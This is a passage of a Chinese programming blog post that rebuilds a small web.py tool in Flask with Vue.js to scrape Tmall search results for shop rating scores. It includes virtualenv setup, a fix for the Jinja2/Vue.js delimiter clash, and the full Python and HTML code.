class=\"brush:py;\">\"https://list.tmall.com/search_product.htm?q=\"+keywords</pre>\r\n\u53c2\u6570\u53ea\u9700\u8981\u4f20\u5165\u4e00\u4e2a\u5173\u952e\u5b57\u5c31\u53ef\u4ee5\u4e86\uff0c\u524d\u7aef\u4f7f\u7528ajax\u628a\u6570\u636ePOST\u7ed9\u670d\u52a1\u7aef\uff0c\u670d\u52a1\u7aef\u63a5\u6536\u4f7f\u7528\u4e0b\u9762\u7684\u8fd9\u53e5\u8bdd\r\n<pre class=\"brush:py;\">keywords = str(web.input().get('shopname'))</pre>\r\n\u662f\u4e0d\u662f\u9a6c\u4e0a\u5c31\u641e\u5b9a\u4e86\u5173\u952e\u7684\u51e0\u6b65\u4e86\uff1f\u63a5\u4e0b\u6765\u53d1\u8d77\u8bf7\u6c42\u62ff\u5230\u6570\u636e\u5c31\u53ef\u4ee5\u4e86\r\n<pre class=\"brush:py;\">result_base = requests.get(url=url_base, headers=headers, timeout=15).content.replace('\\n', '').replace(' ','')</pre>\r\n\u6ce8\u610f\uff0c\u8fd9\u91cc\u6211\u628a\u8fd4\u56de\u7684\u7ed3\u679c\u4e2d\u7684\u6362\u884c\u8ddf\u7a7a\u683c\u90fd\u53bb\u6389\u4e86\uff0c\u56e0\u4e3a\u6211\u8fd9\u91cc\u6240\u9700\u8981\u7684\u6570\u636e\u5f88\u7b80\u5355\uff0c\u4e3a\u4e86\u5339\u914d\u65b9\u4fbf\u6211\u76f4\u63a5\u7ed9\u66ff\u6362\u6210\u53ef\u7a7a\uff0c\u4e5f\u5c31\u662f\u540e\u9762\u7684\u8fd9\u4e2a\r\n<pre class=\"brush:py;\">.replace('\\n', '').replace(' ','')</pre>\r\n\u7136\u540e\u6839\u636e\u6b63\u5219\u5339\u914d\u7684\u5b57\u7b26\u4e32\u8fdb\u884c\u904d\u5386\u7ec4\u5408\u6210\u7ed3\u679c\u8fd4\u56de\u7ed9\u524d\u7aef\u5c31\u597d\u4e86\uff0c\u524d\u7aef\u76f4\u63a5\u4f7f\u7528vue.js\u8fdb\u884c\u6570\u636e\u7684\u7ed1\u5b9a\uff0c\u51e0\u4e4e\u4e0d\u9700\u8981DOM\u64cd\u4f5c\u5c31\u53ef\u4ee5\u5b8c\u6210\u7ed3\u679c\u5217\u8868\u7684\u6e32\u67d3\uff0c\u68d2\uff01\uff08\u8fd9\u91cc\u5f3a\u884c\u5b89\u5229\u4e00\u6ce2vue.js\uff09\r\n<p>\r\n\t\u524d\u540e\u7aef\u901a\u4fe1\u4f7f\u7528json\u8fdb\u884c\u6570\u636e\u4ea4\u4e92\uff0c\u53cb\u597d\u800c\u4e14\u65b9\u4fbf\u3002\r\n</p>\r\n<h2>\r\n\t\u91cd\u5199\r\n</h2>\r\n<p>\r\n\t\u4e0a\u9762\u7ed9\u51fa\u4e86\u6240\u9700\u8981\u7684\u6280\u672f\u8981\u70b9\u548c\u5173\u952e\u4ee3\u7801\uff0c\u90a3\u4e48\u73b0\u5728\u6211\u9700\u8981\u4f7f\u7528flask\u91cd\u5199\u4e00\u904d\uff0c\u5f53\u7136\u4e86\uff0c\u5173\u952e\u90e8\u5206\u8fd8\u662f\u4e0d\u7528\u53d8\u52a8\uff0c\u53ea\u662f\u5904\u7406\u65b9\u5f0f\u4e0a\u7a0d\u5fae\u6709\u4e9b\u5dee\u5f02\uff0c\u5982\u679c\u4f1a\u7528web.py\uff0c\u90a3\u4e48\u4f7f\u7528flask\u4e0a\u624b\u5e94\u8be5\u662f\u5f88\u5feb\u7684\u3002\r\n</p>\r\n<h3>\r\n\t1\u3001web.py\u7684\u5904\u7406\u65b9\u5f0f\r\n</h3>\r\n<p>\r\n\t\u5728\u4f7f\u7528web.py\u7684\u65f6\u5019\u6211\u4eec\u542f\u52a8\u4e00\u4e2aweb\u670d\u52a1\u5f88\u7b80\u5355\uff0c\u901a\u5e38\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\r\n</p>\r\n<pre class=\"brush:bash;\">python app.py</pre>\r\n\u8fd9\u6837\u6211\u4eec\u5c31\u542f\u52a8\u4e86\u4e00\u4e2aweb\u670d\u52a1\uff0c\u4f46\u662f\u8fd9\u6837\u7684\u8bdd\u4f1a\u6709\u5f88\u591a\u95ee\u9898\uff0c\u4e3b\u8981\u6709\u4ee5\u4e0b\u51e0\u70b9\r\n<ul>\r\n\t<li>\r\n\t\t\u4e0d\u80fd\u5173\u95ed\u7ec8\u7aef\u7a97\u53e3\uff0c\u5426\u5219\u5e94\u7528\u7ed3\u675f\uff0c\u4e00\u822c\u7528\u4e8e\u8c03\u8bd5\r\n\t</li>\r\n\t<li>\r\n\t\t\u591a\u4e2a\u5e94\u7528\u7684\u65f6\u5019\u516c\u7528Python\u73af\u5883\u4f1a\u5f15\u8d77\u51b2\u7a81\r\n\t</li>\r\n</ul>\r\n<h4>\r\n\t<span style=\"color:#E53333;\">\u6ce8\u610f\uff1a</span><br>\r\n</h4>\r\n<p>\r\n\tweb.py\u5e76\u4e0d\u9002\u5408\u9ad8\u5e76\u53d1\u7684\u5e94\u7528\uff0c\u4f46\u662f\u4f5c\u4e3a\u4e00\u822c\u5e94\u7528\u8fd8\u662f\u53ef\u4ee5\u8f7b\u677e\u5e94\u5bf9\u7684\u3002\r\n</p>\r\n<p>\r\n\t\u4ee5\u4e0a\u547d\u4ee4\u6267\u884c\u540eweb.py\u4f1a\u57288080\u7aef\u53e3\u7ed1\u5b9a\u4e00\u4e2aweb\u670d\u52a1\uff0c\u5982\u679c\u4f60\u60f3\u521b\u5efa\u591a\u4e2a\u5e94\u7528\uff0c\u90a3\u4e48\u4f60\u5e94\u8be5\u5728\u540e\u9762\u52a0\u4e0a\u7aef\u53e3\u53f7\r\n</p>\r\n<p>\r\n\t\u5982\u679c\u4f60\u4f7f\u7528\u4e86\u591a\u4e2a\u57df\u540d\u6307\u5411\u4e00\u53f0\u673a\u5668\u7684\u591a\u4e2a\u5e94\u7528\uff0c\u90a3\u4e48\u4f60\u5e94\u8be5\u4f7f\u7528nginx\u6765\u8f6c\u53d1\u8bf7\u6c42\uff0c\u800c\u4e0d\u662f\u76f4\u63a5\u8f93\u5165\u57df\u540d\u52a0\u7aef\u53e3\u53f7\r\n</p>\r\n<p>\r\n\t\u5728\u8fdc\u7a0bvps\u4e0a\u8fd0\u884c\u5f00\u53d1\u5b8c\u6210\u7684\u5e94\u7528\u65f6\uff0c\u4f60\u53ef\u4ee5\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\u628aweb\u4ee5\u540e\u53f0\u670d\u52a1\u7684\u5f62\u5f0f\u8fd0\u884c\r\n</p>\r\n<pre class=\"brush:bash;\">nohup python app.py </pre>\r\n\u8fd9\u79cd\u65b9\u5f0f\u7b80\u5355\u7c97\u66b4\uff0c\u4f46\u662f\u4ec5\u4ec5\u4f5c\u4e3a\u4e34\u65f6\u65b9\u6848\u662f\u53ef\u884c\u7684\uff0c\u8fd0\u884c\u4e0a\u8ff0\u547d\u4ee4\u540e\u4f60\u53ef\u4ee5\u5b89\u5fc3\u7684\u5173\u6389\u7ec8\u7aef\uff0c\u800c\u4e14web\u670d\u52a1\u4f9d\u7136\u5728\u8fd0\u884c\uff0c\u4f46\u662f\u4e00\u65e6\u91cd\u542f\u4e86\u670d\u52a1\u5668\uff0c\u90a3\u4e48\u5c31\u5f97\u91cd\u65b0\u767b\u5f55vps\u518d\u6b21\u6267\u884c\u547d\u4ee4\uff0c\u4e0d\u662f\u5f88\u65b9\u4fbf\u3002\r\n<h3>\r\n\t2\u3001flask\u7684\u5904\u7406\u65b9\u5f0f\r\n</h3>\r\n<p>\r\n\tflask\u548cweb.py\u7c7b\u4f3c\uff0c\u5b83\u81ea\u5e26\u4e86\u4e00\u4e2aweb\u670d\u52a1\u5668\uff0c\u9ed8\u8ba4\u7ed1\u5b9a\u57285000\u7aef\u53e3\uff0c\u4f46\u662f\u5b83\u672c\u8eab\u81ea\u5e26\u7684web\u670d\u52a1\u5668\u5e76\u4e0d\u662f\u5f88\u597d\uff0c\u5b89\u5168\u6027\u4e5f\u4e0d\u9ad8\uff0c\u4f5c\u4e3a\u5f00\u53d1\u4f7f\u7528\u8fd8\u662f\u8db3\u591f\u7684\uff0c\u6b63\u5f0f\u751f\u4ea7\u73af\u5883\u4e2d\u4e0d\u592a\u5efa\u8bae\u76f4\u63a5\u4f7f\u7528flask\u81ea\u5e26\u7684web\u670d\u52a1\u3002\r\n</p>\r\n<p>\r\n\t\u597d\u4e86\uff0c\u73b0\u5728\u53ef\u4ee5\u5f00\u59cb\u4e86\uff0c\u4e3a\u4e86\u89e3\u51b3\u4e0a\u9762\u63d0\u5230\u51e0\u4e2a\u95ee\u9898\uff0c\u8fd9\u91cc\u54b1\u4eec\u6765\u4f7f\u7528\u4e00\u4e2a\u65b0\u4e1c\u897f\uff0c\u4e0a\u9762\u8bf4\u4e86\u591a\u5e94\u7528\u73af\u5883\u51b2\u7a81\u7684\u95ee\u9898\uff0c\u5728\u8fd9\u513f\u53ef\u4ee5\u4f7f\u7528\u4e00\u4e2a\u53eb\u505a\u201c\u865a\u62df\u73af\u5883\u201d\u7684\u4e1c\u897f\u89e3\u51b3\u3002\r\n</p>\r\n<p>\r\n\t\u201c\u865a\u62df\u73af\u5883\u201d\u5c31\u662f\u76f4\u63a5\u590d\u5236\u4e00\u4e2aPython\u7684\u5168\u5c40\u73af\u5883\uff0c\u4f46\u662f\u662f\u72ec\u7acb\u51fa\u6765\u7684\uff0c\u4f60\u53ef\u4ee5\u5728\u8fd9\u4e2a\u73af\u5883\u91cc\u9762\u5b89\u88c5\u5404\u79cd\u6a21\u5757\uff0c\u800c\u4e14\u4e0d\u4f1a\u5f71\u54cd\u5230Python\u7684\u5168\u5c40\u73af\u5883\uff0c\u4e5f\u5c31\u662f\u8bf4\u5982\u679c\u4f60\u628a\u5176\u4e2d\u7684\u4e00\u4e2a\u201c\u865a\u62df\u73af\u5883\u201d\u7ed9\u73a9\u574f\u4e86\uff0c\u8d77\u4e0d\u6765\u4e86\uff0c\u90a3\u4e48\u4f60\u53ea\u9700\u8981\u5220\u6389\u574f\u7684\u201c\u865a\u62df\u73af\u5883\u201d\u91cd\u65b0\u521b\u5efa\u4e00\u4e2a\u5c31\u53ef\u4ee5\u4e86\uff0c\u8fd9\u4e9b\u64cd\u4f5c\u90fd\u4e0d\u4f1a\u5bf9Python\u5168\u5c40\u73af\u5883\u6709\u4efb\u4f55\u7684\u5f71\u54cd\uff0c\u5b89\u5168\u53c8\u65b9\u4fbf\uff0c\u4e0b\u9762\u54b1\u4eec\u5c31\u6765\u521b\u5efa\u4e00\u4e2a\u201c\u865a\u62df\u73af\u5883\u201d\u3002\r\n</p>\r\n<p>\r\n\t\u535a\u4e3b\u4f7f\u7528\u7684\u5f00\u53d1\u73af\u5883\u662fUbuntu 16.04 \u5e76\u6ca1\u6709\u81ea\u5e26\u8fd9\u4e2a\u8f6f\u4ef6\uff0c\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u5b89\u88c5\r\n</p>\r\n<pre class=\"brush:bash;\">sudo apt-get install python-virtualenv -y</pre>\r\n\u5b89\u88c5\u5b8c\u4e4b\u540e\u6d4b\u8bd5\u4e0b\u662f\u5426\u5b89\u88c5\u6210\u529f\r\n<pre class=\"brush:bash;\">~$ virtualenv --version\r\n15.0.1</pre>\r\n<p>\r\n\t\u63a5\u4e0b\u6765\u54b1\u4eec\u521b\u5efa\u4e00\u4e2a\u53eb tmall \u865a\u62df\u73af\u5883\u7528\u4e8e\u8fd0\u884c\u6211\u4eec\u7684\u5e94\u7528\r\n</p>\r\n<pre class=\"brush:bash;\">~$ virtualenv tmall\r\nRunning virtualenv with interpreter /usr/bin/python2\r\nNew python executable in /home/kbdancer/tmall/bin/python2\r\nAlso creating executable in /home/kbdancer/tmall/bin/python\r\nInstalling setuptools, pkg_resources, pip, wheel...done.</pre>\r\n\u521b\u5efa\u7684\u65f6\u5019\u4f1a\u7ed9\u51fa\u521b\u5efa\u7684\u4f4d\u7f6e\uff0c\u5982\u679c\u4f60\u9700\u8981\u5728\u6307\u5b9a\u7684\u76ee\u5f55\u4e0b\u9762\u521b\u5efa\u865a\u62df\u73af\u5883\uff0c\u90a3\u4e48\u4f60\u5f97\u5207\u6362\u5230\u76ee\u6807\u76ee\u5f55\uff0c\u7136\u540e\u6267\u884c\u521b\u5efa\u547d\u4ee4\uff0c\u535a\u4e3b\u8fd9\u91cc\u76f4\u63a5\u5728\u81ea\u5df1\u7684\u7528\u6237\u76ee\u5f55\u4e0b\u9762\u6267\u884c\u7684\u521b\u5efa\u547d\u4ee4\uff0c\u81ea\u7136\u5c31\u662f\u5728\u7528\u6237\u76ee\u5f55\u4e0b\u9762\u751f\u6210\u7684\u4e00\u4e2a tmall \u6587\u4ef6\u5939\uff0c\u6587\u4ef6\u5939\u4e0b\u9762\u81ea\u52a8\u751f\u6210\u4e86Python\u73af\u5883<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=478\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/197918b1c93fdbc3e4b38336967c8333.png\" alt=\"2016-10-30 10-39-57\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 36.01 KB - \u5c3a\u5bf8: 768 x 243 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"768\" height=\"243\"></a></div>\u5b89\u88c5\u5b8c\u4e4b\u540e\u9700\u8981\u5c06\u8fd9\u4e2a\u73af\u5883\u6fc0\u6d3b\u624d\u80fd\u4f7f\u7528\uff0c\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\u8fdb\u884c\u6fc0\u6d3b\r\n<pre class=\"brush:bash;\">~$ source tmall/bin/activate\r\n(tmall) :~$</pre>\r\n<p>\r\n\t\u63a5\u7740\u5728\u865a\u62df\u73af\u5883\u4e2d\u5b89\u88c5flask\u73af\u5883\uff08\u535a\u4e3b\u9ed8\u8ba4\u4f60\u7684Python\u5168\u5c40\u73af\u5883\u4e2d\u5df2\u7ecf\u6709\u4e86easy_install\u6216\u8005pip\uff09\uff0c\u535a\u4e3b\u8fd9\u91cc\u4f7f\u7528pip\u8fdb\u884c\u5b89\u88c5\r\n</p>\r\n<pre class=\"brush:bash;\">~$ pip install flask</pre>\r\n\u597d\u4e86\uff0c\u6240\u9700\u8981\u7684\u73af\u5883\u914d\u7f6e\u5b8c\u6210\uff0c\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u5f00\u59cb\u5199\u5c0f\u5e94\u7528\u4e86\u3002\r\n<h3>\r\n\t3\u3001\u5f00\u59cb\u7f16\u7801\r\n</h3>\r\n<p>\r\n\t\u7f16\u7801\u8fd9\u4e2a\u73af\u8282\u5e94\u8be5\u662f\u5feb\u901f\u800c\u4e14\u9ad8\u6548\u7684\uff0c\u4e0a\u9762\u6211\u4eec\u5df2\u7ecf\u7ed9\u51fa\u4e86\u65e7\u4ee3\u7801\uff0c\u5173\u952e\u90e8\u5206\u76f4\u63a5\u590d\u5236\u8fc7\u6765\u5c31\u80fd\u7528\uff0c\u7a0d\u5fae\u6539\u6539\u5c31\u53ef\u4ee5\u8dd1\u8d77\u6765\u4e86\u3002\r\n</p>\r\n<p>\r\n\tflask\u9ed8\u8ba4\u4f7f\u7528Jinja2\u4f5c\u4e3a\u6a21\u677f\u5f15\u64ce\uff0cJinja2\u5728\u8fdb\u884c\u6a21\u677f\u6e32\u67d3\u7684\u65f6\u5019\u901a\u5e38\u4f1a\u8bc6\u522b{{}}\u4e2d\u7684\u5185\u5bb9\u8fdb\u884c\u586b\u5145\uff0c\u4f46\u662f\u8fd9\u91cc\u535a\u4e3b\u9047\u5230\u4e86\u4e00\u4e2a\u5c34\u5c2c\u7684\u95ee\u9898\uff0cVue.js\u4e5f\u662f\u4f7f\u7528\u7684{{}}\u4f5c\u4e3a\u6807\u8bc6\u7b26\u8fdb\u884c\u6e32\u67d3\uff0c\u8fd9\u5c31\u5bfc\u81f4\u4e86\u51b2\u7a81\uff0c\u8bbf\u95ee\u9875\u9762\u7684\u65f6\u5019\u5c31\u4f1a\u51fa\u73b0\u5982\u56fe\u6240\u793a\u7684\u9519\u8bef</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=479\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/c6f445fd317b9e7c057f429fbf5db016.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-30t03-27-29.227z.png - \u5927\u5c0f: 123.67 KB - \u5c3a\u5bf8: 1211 x 929 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"691\"></a></div>\u5f53\u7136\uff0c\u89e3\u51b3\u65b9\u6cd5\u8fd8\u662f\u6709\u7684\uff0c\u53c2\u8003\u8fd9\u7bc7\u6587\u7ae0\u8fdb\u884c\u914d\u7f6e <a href=\"http://panmax.love/2016/%E8%A7%A3%E5%86%B3jinja2%E4%B8%8EVue-js%E7%9A%84%E6%A8%A1%E6%9D%BF%E5%86%B2%E7%AA%81/\" target=\"_blank\">\u89e3\u51b3Jinja2\u4e0eVue.js\u7684\u6a21\u677f\u51b2\u7a81</a> \u89e3\u51b3\u601d\u8def\u4e5f\u6bd4\u8f83\u7b80\u5355\uff0c\u5c31\u662f\u5728\u9700\u8981Jinja2\u6e32\u67d3\u7684\u65f6\u5019\u6dfb\u52a0\u4e00\u4e2a\u7a7a\u683c\uff0c\u800cvue.js\u6e32\u67d3\u7684\u65f6\u5019\u5219\u4e0d\u9700\u8981\u7a7a\u683c\uff0cpython\u811a\u672c\u5982\u4e0b\r\n\r\n<pre class=\"brush:py;\">from flask import Flask, render_template\r\n\r\napp = Flask(__name__)\r\napp.jinja_env.variable_start_string = '{{ '\r\napp.jinja_env.variable_end_string = ' }}'</pre>\r\n\u524d\u7aefHTML\u4ee3\u7801\u4fee\u6539\u540e\u5c31\u6210\u4e86\u8fd9\u6837\r\n<pre class=\"brush:html;\"><!DOCTYPE html>\r\n<html lang=\"zh-CN\">\r\n <head>\r\n <meta charset=\"utf-8\">\r\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n <meta name=\"renderer\" content=\"webkit\">\r\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n <title>Hello world</title>\r\n </head>\r\n <body>\r\n <input type=\"text\" name=\"shopname\">\r\n <input type=\"button\" value=\"\u63d0\u4ea4\" @click=\"query\">\r\n <div class=\"info\" v-for=\"item in shopes\" style=\"border-bottom: #ccc 1px dashed\">\r\n <p>\u5e97\u94fa\uff1a{{item.shopname}}</p>\r\n <p>\u63cf\u8ff0\u76f8\u7b26:{{item.dsr}}<br>\u670d\u52a1\u6001\u5ea6:{{item.service}}<br>\u7269\u6d41\u670d\u52a1:{{item.ship}}</p>\r\n </div>\r\n <script type=\"text/javascript\" src=\"{{ url_for('static', filename='jquery.min.js') }}\"></script>\r\n <script type=\"text/javascript\" src=\"{{ url_for('static', filename='vue.js') }}\"></script>\r\n <script type=\"text/javascript\" src=\"{{ url_for('static', filename='index.js') }}\"></script>\r\n </body>\r\n</html></pre>\r\n<p>\r\n\tJinja2\u9ed8\u8ba4\u4f1a\u5728templates\u76ee\u5f55\u4e0b\u9762\u5bfb\u627e\u6a21\u677f\u6587\u4ef6\uff0c\u800c\u9759\u6001\u6587\u4ef6\u6bd4\u5982css\uff0cjs\u4e4b\u7c7b\u7684\u9ed8\u8ba4\u5b58\u50a8\u5728static\u76ee\u5f55\u4e0b\u9762\uff0c\u8fd9\u91cc\u6211\u4eec\u6309\u7167Jinja2\u7684\u9ed8\u8ba4\u8bbe\u7f6e\u7a0d\u5fae\u8fdb\u884c\u4fee\u6539\uff0c\u5f53\u7136\uff0c\u5982\u679c\u4f60\u60f3\u81ea\u5b9a\u4e49\u6a21\u677f\u76ee\u5f55\u6216\u8005\u9759\u6001\u6587\u4ef6\u7684\u76ee\u5f55\u4e5f\u662f\u53ef\u4ee5\u7684\uff0c\u53ea\u9700\u8981\u7a0d\u5fae\u7684\u914d\u7f6e\u4e0b\u5c31\u884c\u4e86\uff0c\u535a\u4e3b\u8fd9\u91cc\u6309\u7167\u9ed8\u8ba4\u7684\u89c4\u5219\u6765\u8bbe\u7f6e\u3002\r\n</p>\r\n<p>\r\n\t\u5f88\u5feb\uff0c\u6211\u4eec\u7684\u5c0f\u5e94\u7528\u5c31\u8dd1\u8d77\u6765\u4e86</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=480\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/4cfcc995128a162feddc08eba727f577.png\" alt=\"2016-10-30 11-34-42\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 19.03 KB - \u5c3a\u5bf8: 565 x 309 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"565\" height=\"309\"></a></div>\u8fd9\u91cc\u8fd8\u662f\u9700\u8981\u63d0\u5230\u51e0\u4e2a\u5173\u952e\u70b9\uff1a\r\n\r\n<p>\r\n\tflask\u4e2d\u63a5\u6536\u524d\u7aef\u4f20\u9012\u8fc7\u6765\u7684\u53c2\u6570\u7528\u5230\u7684\u662frequest\u5bf9\u8c61\uff0c\u524d\u7aef\u4f7f\u7528json\u628a\u6570\u636epost\u5230\u540e\u7aef\uff0c\u540e\u7aef\u4f7f\u7528\u4e0b\u9762\u8fd9\u53e5\u8fdb\u884c\u63a5\u6536\r\n</p>\r\n<pre class=\"brush:py;\">request.form.get('shopname')</pre>\r\n\u66f4\u591a\u8be6\u7ec6\u4f7f\u7528\u65b9\u6cd5\u53c2\u8003\u8fd9\u4e2a\u5730\u5740 <a href=\"http://www.letiantian.me/2014-06-24-flask-process-post-data/\" target=\"_blank\">\u6d45\u5165\u6d45\u51faFlask\u6846\u67b6\uff1a\u5904\u7406\u5ba2\u6237\u7aef\u901a\u8fc7POST\u65b9\u6cd5\u4f20\u9001\u7684\u6570\u636e</a> \u63a5\u7740\u6d4b\u8bd5\u4e0b\u5c0f\u5e94\u7528\u80fd\u4e0d\u80fd\u6b63\u5e38\u8fd0\u884c<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=481\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/771883334e67bb15db50d82aaa77151f.png\" alt=\"2016-10-30 11-56-46\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 54.49 KB - \u5c3a\u5bf8: 587 x 686 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"587\" height=\"686\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=482\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/e3fb180259256c8bcf5d86e4e2d1779a.png\" alt=\"2016-10-30 11-58-39\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 44.3 KB - \u5c3a\u5bf8: 579 x 565 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"579\" height=\"565\"></a></div>OK\uff0c\u6d4b\u8bd5\u901a\u8fc7\u3002\r\n<h3>\r\n\t4\u3001\u5173\u4e8e\u90e8\u7f72\r\n</h3>\r\n<p>\r\n\t\u7531\u4e8e\u8fd9\u4e2a\u5c0f\u5e94\u7528\u6bd4\u8f83\u7b80\u5355\uff0c\u90e8\u7f72\u8d77\u6765\u53ef\u4ee5\u6309\u7167\u5e38\u89c4\u7684\u90e8\u7f72\u65b9\u5f0f\u8fdb\u884c\uff0c\u4f46\u662f\u5e76\u4e0d\u9002\u5408\u751f\u4ea7\u73af\u5883\uff0c\u6240\u4ee5\u8fd9\u91cc\u6682\u65f6\u4e0d\u5199\u5982\u4f55\u90e8\u7f72\uff0c\u4e0b\u6b21\u6709\u5927\u578b\u7f51\u7ad9\u6848\u4f8b\u7684\u65f6\u5019\u518d\u8be6\u7ec6\u5199\u5982\u4f55\u90e8\u7f72\u4ee5\u53ca\u4f18\u5316\u3002\r\n</p>\r\n<h3>\r\n\t5\u3001\u5b8c\u6574\u4ee3\u7801\r\n</h3>\r\n<h4>\r\n\tpython\u90e8\u5206\r\n</h4>\r\n<pre class=\"brush:py;\">#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\nfrom flask import Flask, render_template, request\r\nimport requests\r\nimport json\r\nimport re\r\n\r\napp = Flask(__name__)\r\napp.jinja_env.variable_start_string = '{{ '\r\napp.jinja_env.variable_end_string = ' }}'\r\n\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n\r\n@app.route('/query', methods=['POST'])\r\ndef query():\r\n keywords = request.form.get('shopname')\r\n url_base = \"https://list.tmall.com/search_product.htm?q=\" + keywords\r\n headers = {\"User-Agent\": \"iphone7\"}\r\n\r\n try:\r\n result_base = requests.get(url=url_base, headers=headers, timeout=15).content.replace('\\n', '').replace(' ', '')\r\n infostr = re.findall(r'j_shop_moreshop_more\\\">(.+?)</div>', result_base)\r\n shoplist = []\r\n\r\n for item in infostr:\r\n scorelist = re.findall(r'\\\">(.+?)</span><iclass=\\\"', item)\r\n thisShopname = re.findall(r'<span>(.+?)</span>', item)[0]\r\n shoplist.append('{\"shopname\": \"' + thisShopname + '\" , \"dsr\": \"' + scorelist[0] + '\", \"service\": \"' + scorelist[1].split('\">')[1] + '\",\"ship\": \"' + scorelist[2].split('\">')[1] + '\"}')\r\n\r\n return json.dumps({\"code\": 0, \"rows\": list(set(shoplist))})\r\n except Exception, e:\r\n print e\r\n return json.dumps({\"code\": -1, \"msg\": \"\u6ca1\u67e5\u8be2\u5230\u76f8\u5173\u5e97\u94fa\"})\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)</pre>\r\n<h4>\r\n\tHTML\u90e8\u5206\r\n</h4>\r\n<pre class=\"brush:html;\"><!DOCTYPE html>\r\n<html lang=\"zh-CN\">\r\n <head>\r\n <meta charset=\"utf-8\">\r\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n <meta name=\"renderer\" content=\"webkit\">\r\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n <title>Hello world</title>\r\n </head>\r\n <body>\r\n <input type=\"text\" name=\"shopname\">\r\n <input type=\"button\" value=\"\u63d0\u4ea4\" @click=\"query\">\r\n <div class=\"info\" v-for=\"item in shopes\" style=\"border-bottom: #ccc 1px dashed\">\r\n <p>\u5e97\u94fa\uff1a{{item.shopname}}</p>\r\n <p>\u63cf\u8ff0\u76f8\u7b26:{{item.dsr}}<br>\u670d\u52a1\u6001\u5ea6:{{item.service}}<br>\u7269\u6d41\u670d\u52a1:{{item.ship}}</p>\r\n </div>\r\n <script type=\"text/javascript\" src=\"{{ url_for('static', filename='jquery.min.js') }}\"></script>\r\n <script type=\"text/javascript\" src=\"{{ url_for('static', filename='vue.js') }}\"></script>\r\n <script type=\"text/javascript\" src=\"{{ url_for('static', filename='index.js') }}\"></script>\r\n </body>\r\n</html></pre>\r\n<h4>\r\n\tJS\u90e8\u5206\r\n</h4>\r\n<p>\r\n\t\u6ca1\u6709\u505a\u4efb\u4f55\u6539\u52a8\uff0c\u5c31\u4e0d\u8d34\u51fa\u6765\u4e86\r\n</p>\r\n<h4>\r\n\t\u6e90\u7801\u4e0b\u8f7d\r\n</h4>\r\n<p>\r\n\t<a href=\"https://www.92ez.com/attachment.php?id=483\" title=\"tmallscore.tar.gz - \u5927\u5c0f:103.12 KB - \u4e0b\u8f7d\u6b21\u6570:174\" target=\"_blank\">tmallscore.tar.gz</a>\r\n</p>\r\n<h2>\r\n\t\u603b\u7ed3\r\n</h2>\r\n<p>\r\n\t\u5199\u8fd9\u7bc7\u6587\u7ae0\u7684\u76ee\u7684\u4e00\u6765\u662f\u590d\u4e60\u4e0bflask\u7684\u4e00\u4e9b\u77e5\u8bc6\uff0c\u4e8c\u6765\u662f\u4e0eweb.py\u505a\u4e2a\u5bf9\u6bd4\uff0c\u518d\u8005\u5c31\u662f\u7ed9\u5165\u95e8\u7684\u670b\u53cb\u63d0\u4f9b\u4e00\u4e2a\u5b9e\u6218\u7684\u4f8b\u5b50\uff0c\u65b9\u4fbf\u53c2\u8003\u3002\r\n</p>\r\n<h2>\r\n\t\u63a8\u8350\u9605\u8bfb\r\n</h2>\r\n<ul>\r\n\t<li>\r\n\t\thttp://canuxcheng.com/2016/10/03/Django%E4%B9%8BTemplate/\r\n\t</li>\r\n\t<li>\r\n\t\thttps://spacewander.github.io/explore-flask-zh/8-templates.html\r\n\t</li>\r\n\t<li>\r\n\t\thttp://www.letiantian.me/2014-06-24-flask-process-post-data/\r\n\t</li>\r\n\t<li>\r\n\t\thttp://panmax.love/2016/%E8%A7%A3%E5%86%B3jinja2%E4%B8%8EVue-js%E7%9A%84%E6%A8%A1%E6%9D%BF%E5%86%B2%E7%AA%81/\r\n\t</li>\r\n</ul><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23423 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> 